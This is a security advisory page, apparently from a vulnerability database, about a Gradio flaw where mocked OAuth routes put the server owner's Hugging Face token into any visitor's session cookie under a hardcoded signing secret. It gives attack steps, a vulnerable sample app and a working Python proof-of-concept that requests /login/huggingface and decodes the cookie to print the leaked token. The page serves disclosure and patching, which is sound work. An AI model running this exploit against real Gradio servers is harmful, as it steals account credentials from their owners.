Niska

Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret

  • Ujawniono: 27.02.2026
  • Aktualizacja: 11.10.2026 12:19

Summary

Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. gr.LoginButton) are used. When a user visits /login/huggingface, the server retrieves its own Hugging Face access token via huggingface_hub.get_token() and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string "-v4", making the payload trivially decodable.

Affected Component

gradio/oauth.py — functions attach_oauth(), _add_mocked_oauth_routes(), and _get_mocked_oauth_info().

Root Cause Analysis

1. Real token injected into every visitor's session

When Gradio detects it is not running inside a Hugging Face Space (get_space() is None), it registers mocked OAuth routes via _add_mocked_oauth_routes() (line 44).

The function _get_mocked_oauth_info() (line 307) calls huggingface_hub.get_token() to retrieve the real HF access token configured on the host machine (via HF_TOKEN environment variable or huggingface-cli login). This token is stored in a dict that is then injected into the session of any visitor who hits /login/callback (line 183):

python
request.session["oauth_info"] = mocked_oauth_info

The mocked_oauth_info dict contains the real token at key access_token (line 329):

python
return {
    "access_token": token,  # <-- real HF token from server
    ...
}

2. Hardcoded session signing secret

The SessionMiddleware secret is derived from OAUTH_CLIENT_SECRET (line 50):

python
session_secret = (OAUTH_CLIENT_SECRET or "") + "-v4"

When running outside a Space, OAUTH_CLIENT_SECRET is not set, so the secret becomes the constant string "-v4", hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.

In practice, Starlette's SessionMiddleware stores the session data as plaintext base64 in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.

Attack Scenario

Prerequisites

  • A Gradio app using OAuth components (gr.LoginButton, gr.OAuthProfile, etc.)
  • The app is network-accessible (e.g. server_name="0.0.0.0", share=True, port forwarding, etc.)
  • The host machine has a Hugging Face token configured
  • OAUTH_CLIENT_SECRET is not set (default outside of Spaces)

Steps

  1. Attacker sends a GET request to http://<target>:7860/login/huggingface
  2. The server responds with a 307 redirect to /login/callback
  3. The attacker follows the redirect; the server sets a session cookie containing the real HF token
  4. The attacker base64-decodes the cookie payload (everything before the first .) to extract the access_token

Minimal Vulnerable Application

python
import gradio as gr
from huggingface_hub import login

login(token="hf_xxx...")

def hello(profile: gr.OAuthProfile | None) -> str:
    if profile is None:
        return "Not logged in."
    return f"Hello {profile.name}"

with gr.Blocks() as demo:
    gr.LoginButton()
    gr.Markdown().attach_load_event(hello, None)

demo.launch(server_name="0.0.0.0")

Proof of Concept

python
#!/usr/bin/env python3
"""
POC: Gradio mocked OAuth leaks server's HF token via session + weak secret
Usage: python exploit.py --target http://victim:7860
       python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080
"""
import argparse
import base64
import json
import sys
import requests


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:7860")
    ap.add_argument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080")
    args = ap.parse_args()

    base = args.target.rstrip("/")
    proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None

    # 1. Trigger mocked OAuth flow — server injects its own HF token into our session
    s = requests.Session()
    s.get(f"{base}/login/huggingface", allow_redirects=True, verify=False, proxies=proxies)

    cookie = s.cookies.get("session")
    if not cookie:
        print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr)
        sys.exit(1)

    # 2. Decode the cookie payload (base64 before the first ".")
    payload_b64 = cookie.split(".")[0]
    payload_b64 += "=" * (-len(payload_b64) % 4)  # fix padding
    data = json.loads(base64.b64decode(payload_b64))
    token = data.get("oauth_info", {}).get("access_token")

    if token:
        print(f"[+] Leaked HF token: {token}")
    else:
        print("[-] No access_token found in session.", file=sys.stderr)
        sys.exit(1)


if __name__ == "__main__":
    main()

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) gradio >= 4.16.0, < 6.6.0 6.6.0

Odnośniki

Ocena CVSS 0
Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N
Słabość (CWE)
CWE-522, CWE-798
Platforma
Python (PyPI)
Paczka
gradio
Ujawniono
27.02.2026
Aktualizacja
11.10.2026 12:19

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-63 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-h3h8-3v2v-rg7m - CC BY 4.0

Historia podatności: gradio

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (51) w archiwum
Wszystkich wpisów
51
Pierwsza → ostatnia
12.2021 07.2026
Bez poprawki
13
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 5
  • Wysoka 19
  • Średnia 22
  • Niska 5

Ujawnienia w latach

  1. 2021: 1
  2. 2022: 1
  3. 2023: 5
  4. 2024: 28
  5. 2025: 9
  6. 2026: 7
Istotność:
  1. Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret ten wpis
    Niska · 0.0 CVE-2026-27167 >= 4.16.0, < 6.6.0 6.6.0
  2. Wysoka · 7.5 CVE-2024-8966 <= 5.22.0 brak poprawki
  3. Wysoka · 7.5 CVE-2024-10624 >= 4.38.0, <= 5.0.0-beta.2 brak poprawki
  4. Wysoka · 8.2 CVE-2024-10648 >= 4.0.0, <= 5.0.0b2 brak poprawki
  5. Wysoka · 7.5 CVE-2024-10569 >= 4.0.0, <= 5.0.0b2 brak poprawki
  6. Krytyczna CVE-2025-23042 < 5.11.0 5.11.0
  7. Wysoka · 7.5 CVE-2024-47867 < 5.0.0 5.0.0
  8. Wysoka · 8.1 CVE-2024-1728 < 4.19.2 4.19.2
  9. Wysoka · 8.6 CVE-2024-4325 <= 4.36.0 brak poprawki
  10. Wysoka · 7.5 CVE-2024-34510 < 4.20.0 4.20.0
  11. Wysoka · 7.5 CVE-2024-1561 < 4.13.0 4.13.0
  12. Wysoka · 7.3 CVE-2024-2206 < 4.18.0 4.18.0
Pokaż więcej (5) Widać 20 z 25

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.